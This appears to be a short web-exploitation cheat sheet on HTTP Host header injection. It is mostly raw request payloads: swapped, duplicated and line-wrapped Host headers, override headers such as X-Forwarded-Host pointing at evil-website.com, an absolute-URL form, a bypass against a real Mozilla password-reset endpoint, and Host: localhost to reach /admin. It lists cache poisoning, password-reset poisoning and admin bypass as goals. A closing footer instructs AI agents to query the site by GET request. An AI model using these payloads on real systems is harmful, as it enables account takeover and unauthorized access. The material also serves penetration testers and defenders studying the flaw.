# Host Header

## payload:

1.Using user:password\@technique:

```
GET @private-intranet/example HTTP/1.1
Host: website.com
```

2.Change the host header:

```
GET /index.php HTTP/1.1
Host: evil-website.com
...
```

3.Duplicating:

```
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
...
```

4.Add line wraping:

```
GET /index.php HTTP/1.1
 Host: vulnerable-website.com
Host: evil-website.com
...
```

5.Add host override headers:

```
X-Forwarded-For: evil-website.com
X-Forwarded-Host: evil-website.com
X-Client-IP: evil-website.com
X-Remote-IP: evil-website.com
X-Remote-Addr: evil-website.com
X-Host: evil-website.com
```

5. Supply an absolute URL

```
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
...
```

6.baypass:

```
POST /en-US/firefox/users/pwreset HTTP/1.1
Host: addons.mozilla.org: www.securepasswordreset.com

      or
www.example.com: 12.34.56.78
intranet.example.com: 10.0.0.132
```

7.localhost header

```
GET /admin HTTP/1.1
Host: localhost
...
```

Header used for this:

```
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded

```

{% hint style="info" %}
http param miner is used for guess the header
{% endhint %}

### possible exploit:

1. Web cache poisoning
2. password reset poisoning (server sent attacker controlled host name in access token instead his host name)
3. bypass authorization ,such as admin access


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/host-header.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
